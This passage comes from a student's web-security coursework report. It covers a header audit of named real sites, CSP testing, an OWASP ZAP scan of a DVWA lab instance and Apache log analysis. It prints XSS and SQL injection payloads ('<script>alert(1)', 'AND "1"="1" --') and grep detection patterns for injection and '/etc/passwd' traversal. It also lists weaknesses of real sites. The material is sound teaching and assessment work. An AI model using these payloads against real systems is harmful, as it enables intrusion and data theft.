max-age=31536000; includeSubDomains; preload— the strongest possible setting — and X-Content-Type-Options is also present. The CSP, however, consists only ofupgrade-insecure-requestswith no script restrictions at all, leaving XSS protection effectively non-existent. X-Frame-Options, Referrer-Policy, and Permissions-Policy are all absent. For a banking site holding customer financial data this is a notable gap, though the strong HSTS and one present header elevate it above the bottom three. - ncc.gov.ng (D) Only X-Frame-Options (
SAMEORIGIN) and Referrer-Policy (same-origin) are present; four headers are missing, including HSTS and CSP. The result comes with a significant caveat: the scanner received a 403 Forbidden from Cloudflare, meaning the headers analysed belong to an error page rather than what the live site delivers to actual users. The true security posture may be different. Even so, the lack of HSTS on a government regulatory body’s site is a serious concern, regardless of the scanning conditions. - lagoonhospitals.com (D) Tied in grade with ncc.gov.ng but placed lower here because it is missing five headers rather than four. HSTS is present but falls below the recommended minimum at approximately 126 days. A healthcare site processing patient appointment bookings with no CSP, X-Frame-Options, or X-Content-Type-Options is meaningfully exposed to clickjacking against booking forms and XSS through patient-facing inputs. The response headers further disclose
PHP/8.3.31andServer: Apache, advertising the technology stack to prospective attackers. DevTools verification confirmed each of these findings. - futminna.edu.ng (F) The weakest site in the audit, with all six security headers completely absent — no partial implementations whatsoever. The raw response headers also expose the server software (
Apache/2.4.41 Ubuntu) and broadcast the CMS via visible WordPresswp-jsonAPI endpoint links (X-Tec-Api-Root,Link: wp-json), making it a ready target for automated WordPress vulnerability scanners. A university portal managing student records, account logins, and academic information deserves a considerably higher level of protection.
Remediation Recommendation for Lowest-Scoring Site
| Target site: futminna.edu.ng Grade F | All six security headers missing | WordPress on Apache |
Priority 1 Strict-Transport-Security (HSTS)
Deploy this before anything else. Without HSTS, every other security header becomes bypassable the instant an attacker strips the connection from HTTPS down to HTTP. For a university portal carrying student credentials, exam records, and registration data, man-in-the-middle interception over plain HTTP is the most immediately exploitable risk. It takes a single directive in the Apache configuration or .htaccess file.
1
Header always set Strict-Transport-Security "max-age=31536000; includeSubDomains"
Priority 2 X-Content-Type-Options
A single line requiring no extra configuration and delivering immediate coverage. Universities regularly accept file uploads — assignments, CVs, project files. Without this header, a browser may misread an uploaded file’s content type and execute it as a script. It is the lowest-cost header to deploy and should be added immediately after HSTS.
1
Header always set X-Content-Type-Options "nosniff"
Priority 3 X-Frame-Options
Stops the student portal and login pages from being loaded inside malicious iframes in phishing campaigns. University login pages become especially high-value targets around registration, examination, and results periods. A single line takes effect immediately.
1
Header always set X-Frame-Options "SAMEORIGIN"
Priority 4 Referrer-Policy
Student portal URLs often carry user identifiers and session parameters. Without this header, those values are quietly passed to every third-party script and analytics service embedded on the WordPress site — including any ad networks or tracking pixels introduced by plugins.
1
Header always set Referrer-Policy "strict-origin-when-cross-origin"
Priority 5 Content-Security-Policy
This is the most involved header to implement on a WordPress site, given the range of domains from which plugins and page builders load scripts. The recommended strategy is to begin in report-only mode to discover what breaks before any restrictions are enforced. This protects the live site from disruption while the whitelist is incrementally refined toward full XSS coverage.
1
2
# Phase 1 report only, does not enforce, does not break the site
Header always set Content-Security-Policy-Report-Only "default-src 'self'; script-src 'self'"
After reviewing report data and finalising the whitelist, switch to enforcement mode:
1
2
# Phase 2 enforce after whitelist is confirmed
Header always set Content-Security-Policy "default-src 'self'; script-src 'self' [whitelisted domains]"
Priority 6 Permissions-Policy
Deploy once CSP is stable. Locks down browser hardware APIs that a university site has no valid reason to use, preventing injected or third-party scripts from quietly accessing the student’s camera, microphone, or location.
1
Header always set Permissions-Policy "geolocation=(), microphone=(), camera=()"
Additional Recommendations
- Remove the
Serverheader to cease disclosingApache/2.4.41 (Ubuntu)to attackers who may be profiling the server for known vulnerabilities - Suppress WordPress API links (
wp-json,X-Tec-Api-Root) from HTTP response headers to avoid advertising the underlying CMS to automated WordPress vulnerability scanners - Audit installed plugins — the
wp-jsonexposure indicates plugin APIs are publicly accessible; any unused or outdated plugins should be disabled and removed
6C Content Security Policy Design and Testing
Steps
Step 1: Created test_csp.html with a button and an inline script:
1
2
3
4
5
<script>
document.getElementById("btn").addEventListener("click", function () {
alert("Button clicked");
});
</script>
The full source code for test_csp.html:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<title>CSP Test</title>
<!-- STAGE 2: Strict CSP uncomment to block all scripts -->
<!-- <meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'none';"> -->
<!-- STAGE 3: Nonce-based CSP uncomment and add nonce="abc123" to the script tag below -->
<!-- <meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'nonce-abc123';"> -->
</head>
<body>
<button id="btn">Click Me</button>
<!-- XSS injection simulation uncomment to test -->
<!-- <script>alert('XSS')</script> -->
<script>
document.getElementById("btn").addEventListener("click", function () {
alert("Button clicked");
});
</script>
</body>
</html>
Step 2: The page was opened in a browser with no CSP in place and the button was clicked to verify the inline script executed as expected.
Step 3: Added a strict CSP in the HTML <head>:
1
2
3
4
<meta
http-equiv="Content-Security-Policy"
content="default-src 'self'; script-src 'none';"
/>
Step 4: After reloading the page and clicking the button, DevTools → Console was checked and three CSP violation errors were present — all inline scripts had been blocked and the button was unresponsive.
Step 5: With no CSP active, <script>alert('XSS')</script> was injected directly into the HTML body, and execution was confirmed.
Step 6: The nonce-based CSP (script-src 'nonce-abc123') was enabled without attaching the nonce attribute to any script tag. Two CSP violations appeared in the console — both the legitimate script and the injected XSS payload were blocked.
Step 7: nonce="abc123" was added to the XSS injection script tag to simulate a scenario where an attacker has obtained the nonce value. The injected script executed successfully, demonstrating that a static or leaked nonce offers no meaningful protection.
CSP Policies Used
| Stage | CSP Policy String |
|---|---|
| Strict (blocks everything) | default-src 'self'; script-src 'none'; |
| Nonce-based | default-src 'self'; script-src 'nonce-abc123'; |
CSP Explanation
What is a Content Security Policy?
A Content Security Policy (CSP) is an HTTP security header (or <meta> tag) that tells the browser which content sources — scripts, styles, images, fonts, and others — are allowed to load and execute on a given page. Rather than depending entirely on the browser’s same-origin policy, CSP hands developers precise control over browser behaviour, substantially narrowing the attack surface for Cross-Site Scripting (XSS) and related injection techniques.
When the browser receives a CSP, it applies the policy before running any resource. Scripts, stylesheets, or other assets that do not match a permitted source are blocked, and a violation is logged to the console (and optionally sent to a reporting endpoint). This means that even when an attacker manages to inject malicious code into a page’s HTML, the browser will not execute it.
How Nonces Work
A nonce (number used once) is a cryptographic token included in both the CSP header and any legitimate <script> tag that is permitted to execute. The browser checks the nonce in the tag against the value declared in the policy — matching tokens allow the script to run; a mismatch causes it to be blocked.
Example:
1
Content-Security-Policy: script-src 'nonce-r4nd0mV4lu3XYZ'
1
2
3
4
5
6
7
<script nonce="r4nd0mV4lu3XYZ">
// This script runs nonce matches
</script>
<script>
// This script is blocked no nonce present
</script>
As Step 7 showed, a static or leaked nonce can be reused by an attacker to execute injected scripts. For nonces to offer genuine security, they must be:
- Randomly generated on every single HTTP request (server-side)
- Unpredictable using a cryptographically secure random generator (at least 128 bits of entropy)
- Never reused across requests or sessions
Why 'unsafe-inline' Defeats the Purpose of CSP
Including 'unsafe-inline' in a script-src directive instructs the browser to permit all inline scripts regardless of their origin. This single addition strips away most of CSP’s defensive value because:
- XSS attacks depend on inline script injection. Allowing inline scripts globally means any injected
<script>tag or event handler attribute executes as freely as if no CSP were present. - It cannot distinguish developer code from attacker code. With
'unsafe-inline'set, the browser has no mechanism to differentiate legitimate inline scripts from injected malicious ones. - It voids nonces. When
'unsafe-inline'appears alongside a nonce, browsers — per the specification — disregard the nonce restriction entirely and revert to permitting all inline scripts. The right approach is to move JavaScript into external files served from trusted origins, or to generate fresh per-request random nonces for any inline code that genuinely cannot be moved to an external file.
Week 7: Security Testing, Firewalls, and Detection Techniques
7A OWASP ZAP Automated Scan of DVWA
Steps
Step 1: After logging into DVWA with admin/password and setting the security level to Low, I launched OWASP ZAP and configured the browser proxy to localhost:8080 to allow ZAP to intercept traffic. As soon as DVWA finished loading, the first requests were already visible in ZAP’s History tab — GET /, GET /login.php, and GET /dvwa/css/login.css — all returning 200 OK, confirming that the proxy was functioning correctly.
Step 2: In ZAP’s Quick Start tab, I entered http://[target-IP]/ as the attack target, kept the Scan Policy set to Dev Standard, verified that Use traditional spider was checked, and clicked Attack to begin the automated scan. ZAP initiated the process by spidering the site and, once complete, had discovered and catalogued all the DVWA pages — including the dvwa/ directory, vulnerabilities/, brute/, captcha/, csrf/, and others.
Step 3: With the spider still in progress, I right-clicked http://[target-IP] in the Sites tree, navigated to Attack > Active Scan, left the Starting Point set to http://[target-IP], kept the Policy on Default Policy, left the Context and User fields blank, and clicked Start Scan.
Step 4: Monitoring the Active Scan tab as it progressed, the progress bar reached 64% — at that point it was on scan 1 of http://[target-IP], had issued 1,849 requests, and had already identified 4 new alerts.
Step 5: When the scan completed (the progress indicator read “Attack complete see the Alerts tab for details of any issues found”), I switched to the Alerts tab and found 7 alerts total, which I reviewed one by one from the top down. Two immediately caught my attention: Cross Site Scripting (Reflected) and SQL Injection, both rated as High risk. Selecting SQL Injection first, the detail panel revealed that ZAP had elicited an actual SQL error response from the server — confirming this is a genuine vulnerability rather than a false positive.
Step 7: With all alerts reviewed, I navigated to Report > Generate Report, chose HTML format, and saved the file. Opening it in the browser revealed a comprehensive breakdown of every alert, complete with evidence, descriptions, and remediation recommendations, all clearly presented.
Findings Table
| Alert Name | Risk Level | URL Affected | ZAP Payload Used | Recommended Fix |
|---|---|---|---|---|
| Cross Site Scripting (Reflected) | High | http://[target-IP]/vulnerabilities/sqli/?id=%27%22%3Cscript%3Ealert%281%29%3B%3C%2FscRipt%3E&Submit=Submit |
"><script>alert(1);</script> |
Encode all user-supplied output; implement a Content Security Policy (CSP) header |
| SQL Injection | High | http://[target-IP]/vulnerabilities/csrf/?password_new=dd%22AND+%221%22%3D%221%22+--+&password_conf=ddd&Change=Change |
dd" AND "1"="1" -- |
Use parameterised queries / prepared statements; never concatenate user input into SQL strings |
| SQL Injection MySQL | High | http://[target-IP]/vulnerabilities/sqli/ |
MySQL-specific probe payload | Same as above parameterised queries; additionally restrict DB user permissions to least privilege |
| SQL Injection SQLite (Time Based) | High | http://[target-IP]/vulnerabilities/sqli/ |
Time-delay payload (SQLite) | Parameterised queries; disable unused database engines; monitor for slow query anomalies |
| Directory Browsing | Medium | http://[target-IP]/ (5 instances) |
N/A configuration issue | Disable directory listing in Apache config (Options -Indexes); ensure sensitive directories are not publicly accessible |
| HTTP Only Site | Low | http://[target-IP]/ |
N/A configuration issue | Redirect all traffic to HTTPS; obtain a TLS certificate; set Strict-Transport-Security header |
| User Agent Fuzzer (Systemic) | Informational | Multiple | Various User-Agent strings | Ensure server doesn’t leak version info via User-Agent responses; not an immediate risk |
Executive Summary
Overview of Findings:
Running the automated security scan against the DVWA web application turned up 7 vulnerabilities across the site — 4 rated High severity, 1 Medium, 1 Low, and 1 Informational (flagged as noteworthy but not immediately exploitable). In plain terms, the application has significant weaknesses that would present very little challenge to a would-be attacker.
Top Three Risks:
Risk 1 SQL Injection (High):
At a minimum, three distinct locations on this site allow an attacker to manipulate the underlying database by entering specially crafted input into a form or URL. Think of SQL injection as being able to open any drawer in a filing cabinet without needing a key — it can be used to read private user records, alter passwords, or even wipe the entire database. ZAP demonstrated this is not a theoretical risk by successfully triggering a live error message from the MySQL database.
Risk 2 Cross-Site Scripting / XSS (High):
User input is reflected back on the page without any sanitisation. This allows an attacker to plant a malicious script that executes inside another user’s browser upon visiting the affected page. Session hijacking is a typical real-world outcome: the attacker captures the authenticated user’s session cookie and takes over the account without ever needing the password. The same technique can be leveraged to redirect victims to phishing pages or silently deliver malware.
Risk 3 Directory Browsing (Medium):
At certain paths, the web server presents a full directory listing rather than blocking access — the equivalent of leaving your front door wide open with an index of everything inside. This hands attackers a detailed map of the application’s structure, making it considerably easier to locate files they should never be able to reach, such as configuration files or backed-up source code.
Most Urgent Fixes:
- Fix the SQL Injection vulnerabilities first. These represent the most critical exposure — the application is wide open to database attacks at this very moment. Query construction needs to be reworked so that user input is treated exclusively as data and can never be interpreted as a SQL command.
- Fix the Cross-Site Scripting vulnerabilities. Every piece of user-supplied input must be properly encoded before the application renders it on a page. Addressing this prevents attackers from injecting scripts that execute in the context of other users’ sessions.
- Turn on HTTPS and disable directory listing. Both are relatively straightforward configuration-level changes — enabling HTTPS ensures all traffic is encrypted in transit, while disabling directory listing eliminates the structural map the server currently hands to anyone who probes its directories.
Date: 23 May 2026
7B Web Server Log Analysis for Attack Patterns
Steps
Step 1: I downloaded a sample Apache log file from github.com/elastic/examples apache_logs.txt .

Step 2: I opened a terminal (Git Bash / MINGW64) and counted requests per IP address:
1
awk '{print $1}' apache_logs.txt | sort | uniq -c | sort -rn | head -20
Step 3: IP addresses showing unusually high request volumes were identified as likely automated scanners or brute-force sources. 66.249.73.135 led the list at 482 requests, a pattern consistent with crawler or scanning activity.
Step 4: I searched for SQL injection patterns:
1
grep -i 'union\|select\|%27\|%3D\|drop\|insert' apache_logs.txt
Step 5: I searched for directory traversal attempts:
1
grep -i '\.\./\|\/etc\/\|\/passwd\|\/wp-admin\|\/admin' apache_logs.txt
Step 6: I searched for authentication brute-force indicators (multiple 401 responses):
1
grep -i ' 401 ' apache_logs.txt | awk '{print $1}' | sort | uniq -c | sort -rn | head -10
Top IP Addresses
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
482 66.249.73.135
364 46.105.14.53
357 130.237.218.86
273 75.97.9.59
113 50.16.19.13
102 209.85.238.199
99 68.180.224.225
84 100.43.83.137
83 208.115.111.72
82 198.46.149.143
74 208.115.113.88
65 108.171.116.194
60 65.55.213.73
60 208.91.156.11
56 66.249.73.185
52 50.139.66.106
50 86.76.247.183
50 14.160.65.22
43 93.17.51.134
42 208.43.252.200
SQL Injection Patterns Found
1
2
3
4
5
6
7
112.110.247.233 - - [17/May/2015:18:05:52 +0000] "GET /blog/tags/X11 HTTP/1.1" 200 32742 "http://www.google.com/imgres?imgurl=http://www.semicomplete.com/images/googledotcom.png&imgrefurl=http://www.semicomplete.com/blog/tags/X11&usg=__PeEZFYbktwtGJ92coZl9dbADxrY=&h=768&w=1024&sz=65&hl=en&start=4&zoom=1&tbnid=tX0W0Q4WqLUE5M:&tbnh=113&tbnw=150&ei=7FMAU6m2A4b_rAfopICAcw&prev=/search%3Fq%3Dhttp://www...google%26client%3Dms-samsung%26sa%3DX%26channel%3Dmm%26ie%3DUTF-8%26tbm%3Disch%26prmd%3Divnsza&sa=X&ved=0CDMQrQMwAw&ptbm=isch&q=http://www...google" "SAMSUNG-GT-E2232/1.0 Openwave/6.2.3 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Browser/6.2.3.3.c.1.101 (GUI) MMP/2.0"
207.241.237.223 - - [17/May/2015:21:05:53 +0000] "GET /blog/tags/linux HTTP/1.0" 200 13233 "http://www.semicomplete.com/blog/tags/linux" "Mozilla/5.0 (compatible; archive.org_bot +http://www.archive.org/details/archive.org_bot)"
[... additional entries with encoded parameters containing select/insert patterns in referrer URLs ...]
193.58.82.178 - - [19/May/2015:06:05:40 +0000] "GET /blog/tags/java HTTP/1.1" 200 22586 "http://www.google.com/cse?cx=017877223933725188677%3Aueztpza4fok&ie=UTF-8&q=java&siteurl=semicomplete.com%2F&ref=sysadvent.blogspot.in%2F2011%2F12%2Fday-25-learning-from-other-industries.html&ss=439j66769j4&oq=java&gs_l=partner.3..0.9832.10273.0.10386.4.2.0.2.2.0.1282.1j1.2.0.gsnos%2Cn%3D13...0.440j67136j4..1ac.1.25.partner.iclH_3.39.9gJeQCmncHk" "Mozilla/5.0 (Windows NT 6.1; WOW64; U; ru) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.107 Safari/537.36"
Note: SQL-like keywords (
select,insert) appeared in encoded referrer URL parameters and Google search query strings not as direct injection attempts in the request URI itself. No raw SQL injection in request paths was observed.
Directory Traversal Attempts Found
1
2
3
4
5
6
7
8
9
10
11
176.194.187 - - [17/May/2015:12:05:30 +0000] "GET /administrator/index.php HTTP/1.0" 404 303 "-" "-"
195.250.34.144 - - [17/May/2015:17:05:38 +0000] "GET /administrator/ HTTP/1.1" 404 294 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/24.0.1290.1 Safari/537.13"
195.250.34.144 - - [17/May/2015:17:05:50 +0000] "GET /admin.php HTTP/1.1" 404 289 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/24.0.1290.1 Safari/537.13"
46.28.105.80 - - [18/May/2015:04:05:46 +0000] "GET /wordpress/wp-admin/ HTTP/1.1" 404 299 "-" "-"
199.102.67.16 - - [18/May/2015:04:05:27 +0000] "GET /blog/wp-admin/ HTTP/1.1" 404 7861 "-" "-"
[... dozens of similar /wp-admin/, /wp/wp-admin/, /blog/wp-admin/, /administrator/ probes across multiple IPs and dates ...]
95.78.54.93 - - [19/May/2015:12:05:30 +0000] "GET /administrator/ HTTP/1.1" 404 294 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/24.0.1309.0 Safari/537.17"
198.245.61.43 - - [19/May/2015:14:05:48 +0000] "GET /administrator/ HTTP/1.1" 404 294 "-" "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/24.0.1309.0 Safari/537.17"
188.165.243.45 - - [20/May/2015:02:05:24 +0000] "GET /administrator/ HTTP/1.1" 404 294 "-" "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/24.0.1309.0 Safari/537.17"
91.236.75.25 - - [20/May/2015:05:05:45 +0000] "HEAD /blog/geekery/ec2-reserved-vs-ondemand.html/admin/FCKeditor/editor/fckeditor.html HTTP/1.1" 404 - "-" "-"
91.236.75.25 - - [20/May/2015:05:05:26 +0000] "HEAD /blog/geekery/ec2-reserved-vs-ondemand.html/admin/FCKeditor/_samples/default.html HTTP/1.1" 404 - "-" "-"
Brute-Force Indicators (401 Responses)
1
(no output no HTTP 401 responses were present in this log file)
The log dataset did not contain any 401 Unauthorized responses. Authentication failures were therefore not observable from this dataset. The absence of 401s may indicate the targeted endpoints (
/wp-admin/,/administrator/) returned 404 before authentication was ever reached consistent with admin panels not being installed at those paths.
Incident Log Analysis Report
Summary of Findings:
Examining the apache_logs.txt file (2.26 MB, spanning 17–20 May 2015) uncovered three distinct categories of suspicious behaviour: automated probing of admin panels, high-volume crawler and scanner traffic, and encoded SQL-pattern strings appearing within referrer fields. No confirmed successful intrusions were evident from the available data; every admin-path request returned a 404 response, and the dataset contained no 401 Unauthorized entries.
The most significant threat pattern observed was systematic admin panel enumeration, with multiple IP addresses repeatedly requesting paths such as /wp-admin/, /administrator/, /admin.php, and /FCKeditor/ — all of which returned 404. A second pattern consisted of high-frequency requests from a small set of IPs, notably 66.249.73.135 with 482 requests, indicative of automated scanning. SQL-like keywords (select, insert, %3D) were found exclusively in referrer URL query strings and did not appear as direct injection attempts targeting the server’s own endpoints.
Attacker IP List:
| IP Address | Request Count | Attack Type | URLs Targeted |
|---|---|---|---|
| 66.249.73.135 | 482 | Crawler / Scanner | Various blog and tag pages |
| 46.105.14.53 | 364 | Crawler / Scanner | Various |
| 130.237.218.86 | 357 | Crawler / Scanner | Various |
| 195.250.34.144 | ~4 | Admin Panel Probe | /administrator/, /admin.php |
| 95.78.54.93 | ~2 | Admin Panel Probe | /administrator/, /admin.php |
| 198.245.61.43 | ~2 | Admin Panel Probe | /administrator/, /admin.php |
| 188.165.243.45 | ~2 | Admin Panel Probe | /administrator/, /admin.php |
| 91.236.75.25 | ~2 | CMS Plugin Probe | /admin/FCKeditor/editor/, /admin/FCKeditor/_samples/ |
| 46.28.105.80 | ~1+ | WordPress Probe | /wordpress/wp-admin/, /blog/wp-admin/ |
| 212.90.148.107 | ~3+ | WordPress Probe | /wordpress/wp-admin/, /wp/wp-admin/ |
Attack Timeline:
| Timestamp | IP | Activity | Evidence |
|---|---|---|---|
| 17/May/2015 12:05 | 176.194.187 | Admin path probe | GET /administrator/index.php → 404 |
| 17/May/2015 17:05 | 195.250.34.144 | Admin panel enumeration | GET /administrator/ and /admin.php → 404 |
| 18/May/2015 04:05 | 46.28.105.80 | WordPress admin probe | GET /wordpress/wp-admin/ → 404 |
| 18/May/2015 05:05–12:05 | Multiple IPs | Sustained WP-admin scanning | /blog/wp-admin/, /wp/wp-admin/ → repeated 404s |
| 19/May/2015 00:05–14:05 | Multiple IPs | Continued admin enumeration | /blog/wp-admin/, /administrator/ → 404 |
| 19/May/2015 12:05 | 95.78.54.93 | Admin panel probe | GET /administrator/ and /admin.php → 404 |
| 19/May/2015 14:05 | 198.245.61.43 | Admin panel probe | GET /administrator/ and /admin.php → 404 |
| 20/May/2015 02:05 | 188.165.243.45 | Admin panel probe | GET /administrator/ and /admin.php → 404 |
| 20/May/2015 05:05 | 91.236.75.25 | FCKeditor plugin probe | HEAD requests to /admin/FCKeditor/ paths → 404 |
Recommended Response Actions:
-
Block repeat offenders at the firewall/WAF level IPs including
66.249.73.135,46.105.14.53, and130.237.218.86each generated hundreds of requests and should be rate-limited or blocked unless they can be confirmed as legitimate crawlers (e.g. Googlebot). Cross-reference against known crawler registries before taking blocking action. -
Implement fail2ban or equivalent rules for admin path probing Set up automated banning for any IP that requests more than 3–5 non-existent admin paths (e.g.
/wp-admin/,/administrator/,/admin.php) within a short time window. While every observed probe returned 404 — indicating no successful access — the repetitive targeting from individual IPs justifies automated enforcement. -
Disable or relocate the FCKeditor admin path The IP
91.236.75.25targeted the FCKeditor CMS plugin path at/admin/FCKeditor/. Should this plugin be present anywhere on the server, it must be updated or removed given its documented history of file upload vulnerabilities. Rather than responding with a 404, the path should return a hard 410 Gone to explicitly signal that the resource has been permanently removed.
7C Professional Security Assessment Report
Web Application Security Assessment DVWA
FUTM-CYB 322 | Week 7C Practical Report
Cover Page
| Field | Value |
|---|---|
| Report Title | Web Application Security Assessment DVWA |
| Target | DVWA (Damn Vulnerable Web Application) TryHackMe Instance |
| Assessment Type | DAST OWASP ZAP Automated Scan + Manual Testing |
| Target IP | http://[target-IP] |
| Date | 23 May 2026 |
| Author | john doe |
| Course | CYB322 Web Application Security, FUT Minna |
Executive Summary
This report covers a black-box web application security assessment performed against a TryHackMe-hosted DVWA (Damn Vulnerable Web Application) instance running Apache 2.4.7 with PHP 5.5.9 on Ubuntu, accessed over the TryHackMe VPN. The assessment paired automated dynamic analysis via OWASP ZAP 2.17.0 with manual verification using Burp Suite Community Edition and browser DevTools.
The automated scan ran under the “Dev Standard” scan policy, employing both the traditional spider and the AJAX spider (Firefox). It traversed the full DVWA application tree — including /dvwa/, /vulnerabilities/, and sub-paths for brute, captcha, csrf, fi, and sqli — issuing over 1,849 requests before the attack phase concluded.
Seven distinct alert categories were identified. After deduplication and triage, five unique vulnerability findings are documented in this report. The severity breakdown is:
| Severity | Count |
|---|---|
| High | 3 |
| Medium | 1 |
| Informational / Low | 1 |
The single most critical risk is SQL Injection in the /vulnerabilities/sqli/ endpoint. ZAP verified two active SQLi variants — MySQL and SQLite Time-Based — against the id parameter via the URL query string. An attacker exploiting this vulnerability goes well beyond data retrieval: they can dump the entire database, potentially read files from the server, and — depending on database permissions — write web shells. For any application storing user passwords, this represents a full compromise. The other findings are serious, but SQL injection is the vulnerability that could truly devastate an organisation running it in production.
Scope and Methodology
| Field | Value |
|---|---|
| Target Application | DVWA TryHackMe Instance |
| Target URL | http://[target-IP] |
| Assessment Type | Manual black-box + automated DAST (OWASP ZAP) |
| Testing Date | 23 May 2026 |
| Tools Used | OWASP ZAP 2.17.0, Burp Suite Community Edition, Firefox + Browser DevTools |
| Scan Policy | Dev Standard |
| Spider Mode | Traditional Spider + AJAX Spider (Firefox, “If Modern”) |
| Scope Limitations | Testing conducted exclusively on the TryHackMe-assigned DVWA machine (accessed via TryHackMe OpenVPN). No production systems were targeted. External URLs (e.g. www.dvwa.co.uk, www.w3.org) were treated as out-of-scope and excluded. |
Methodology Overview:
The assessment followed a three-phase approach:
-
Passive Reconnaissance With DVWA proxied through ZAP (localhost:8080), the application was manually navigated in Firefox. This approach populated the Sites tree with every reachable endpoint while capturing cookies, headers, and form parameters.
-
Automated Active Scan ZAP’s Quick Start automated scan was directed at
http://[target-IP]/using the traditional spider and AJAX spider running simultaneously. The spider uncovered 10+ URLs and appended 3 nodes to the site tree before the active scanner moved on to fuzzing the discovered parameters. -
Manual Verification Each flagged alert was manually inspected in ZAP’s Alerts tab. Response bodies, payloads, and HTTP status codes were cross-checked to confirm genuine findings and eliminate false positives.
Detailed Findings
Finding 1 SQL Injection (Reflected)
| Field | Value |
|---|---|
| OWASP Category | A03:2021 Injection |
| Severity | High |
| CWE ID | CWE-89 |
| WASC ID | 19 |
| Affected URL | http://[target-IP]/vulnerabilities/sqli/?id=... |
| Affected Parameter | id (URL Query String) |
| Source | Active Scan (ZAP Rule 40018) |
| Confidence | Medium |
Description:
SQL Injection arises when user-provided input is inserted directly into a SQL query without sanitisation or parameterisation. At the /vulnerabilities/sqli/ endpoint, the id parameter is passed unescaped into a backend MySQL/SQLite query. ZAP validated this by supplying a boolean-based payload and noting a corresponding change in the application’s response, confirming that the database is processing attacker-controlled SQL logic.
Evidence:
Payload:
dd" AND "1"="1" --Parameter:password_newResponse: HTTP 200 OK The server returned a modified response consistent with the injected condition being evaluated as true, confirming the injection point is active.
The ZAP alert panel recorded two sub-variants — SQL Injection (MySQL) and SQL Injection (SQLite Time Based) — both identified on the same endpoint, showing that the backend is susceptible to more than one injection technique.
Business Impact:
Successful exploitation of this SQL injection vulnerability would enable an attacker to extract all database tables and records — including usernames and password hashes — bypass authentication entirely, and, subject to the database account’s privilege level, read arbitrary files from the server filesystem using LOAD_FILE(). In a production environment, this would amount to a critical data breach exposing all user PII and credentials.
Remediation:
- Replace all dynamic query construction with parameterised queries / prepared statements (e.g. PDO with bound parameters in PHP).
- Apply input validation the
idfield should only accept integers; reject anything else at the application layer. - Run the database under a least-privilege account that cannot access
information_schemaor use file read/write functions. - Consider a Web Application Firewall (WAF) as a secondary layer, not a replacement for fixing the root cause.
Finding 2 Cross-Site Scripting (Reflected XSS)
| Field | Value |
|---|---|
| OWASP Category | A03:2021 Injection / XSS |
| Severity | High |
| CWE ID | CWE-79 |
| WASC ID | 8 |
| Affected URL | http://[target-IP]/vulnerabilities/sqli/?id=%27%22%3Cscript%3Ealert%281%29%3B%3C%2FscRipt%3E&Submit=Submit |
| Affected Parameter | id (URL Query String) |
| Source | Active Scan (ZAP Rule 40012) |
| Confidence | Medium |
Description:
Reflected XSS occurs when user input is returned in an HTTP response without proper HTML encoding, giving an attacker the ability to inject client-side scripts. In this instance, ZAP submitted a script tag payload via the id parameter on the SQLi vulnerability page. The server’s response included the raw script tag — though the SQL parser intercepted it first — returning an error message with the unescaped payload embedded inside a <pre> block:
1
2
3
You have an error in your SQL syntax; check the manual that corresponds
to your MySQL server version for the right syntax to use near
'"<script>alert(1);</script>' at line 1
The presence of the payload in the HTML response body without any encoding — even within an error message — confirms reflected XSS. The <script> tags remain intact and are potentially executable depending on the browser context.
Evidence:
Payload:
"<script>alert(1);</script>Response: HTTP 200 OK Server returned the payload embedded in the HTML response body inside a<pre>error block, unencoded.
Business Impact:
An attacker could construct a malicious URL embedding the XSS payload and distribute it to authenticated users. When a victim follows the link, the injected script runs in their browser under the application’s origin, enabling theft of session cookies (document.cookie), credential harvesting through DOM manipulation, or drive-by malware delivery. Because this is reflected XSS rather than stored, exploitation depends on social engineering — but the attack surface remains substantial in any user-facing application.
Remediation:
- HTML-encode all user input before reflecting it in responses. In PHP: use
htmlspecialchars($input, ENT_QUOTES, 'UTF-8'). - Implement a Content Security Policy (CSP) header to restrict script execution to trusted sources.
- Never include raw user input in error messages rendered to the browser.
- Use output encoding libraries rather than writing manual sanitisation.
Finding 3 SQL Injection (MySQL Database Fingerprint Confirmation)
| Field | Value |
|---|---|
| OWASP Category | A03:2021 Injection |
| Severity | High |
| CWE ID | CWE-89 |
| WASC ID | 19 |
| Affected URL | http://[target-IP]/vulnerabilities/sqli/ |
| Affected Parameter | id |
| Source | Active Scan MySQL-specific payload response |
| Confidence | High |
Description:
Separate from the generic SQLi finding, ZAP also detected a MySQL-specific SQL Injection alert. This variant injects MySQL-dialect syntax and receives a response that explicitly identifies the backend as MySQL — the error message directly references the “MySQL server version.” This database fingerprinting matters because it removes guesswork: the attacker now knows exactly which SQL dialect to target, including MySQL-specific techniques such as UNION SELECT, GROUP_CONCAT(), and INTO OUTFILE.
Evidence:
Server Error Disclosed:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near...This error appeared directly in the response body, establishing two facts: (a) the parameter is injectable, and (b) the backend DBMS is MySQL.
Business Impact:
When the database is fingerprinted, the attacker’s approach shifts from trial-and-error to precise, targeted exploitation. Knowing the DBMS is MySQL, an attacker can move straight to UNION-based data extraction, information_schema enumeration, and time-based blind injection without wasting effort on probing. This substantially increases the severity of Finding 1.
Remediation:
- Same as Finding 1 parameterised queries are the primary fix.
- Suppress database error messages in production responses. Configure PHP to log errors server-side (
log_errors = On) and disable display to users (display_errors = Off) inphp.ini. - Use a custom generic error page that does not disclose backend technology.
Finding 4 Directory Browsing Enabled
| Field | Value |
|---|---|
| OWASP Category | A05:2021 Security Misconfiguration |
| Severity | Medium |
| CWE ID | CWE-548 |
| WASC ID | 16 |
| Affected URLs | 5 instances detected across DVWA directories |
| Source | Active Scan ZAP Directory Browsing rule |
| Confidence | Medium |
Description:
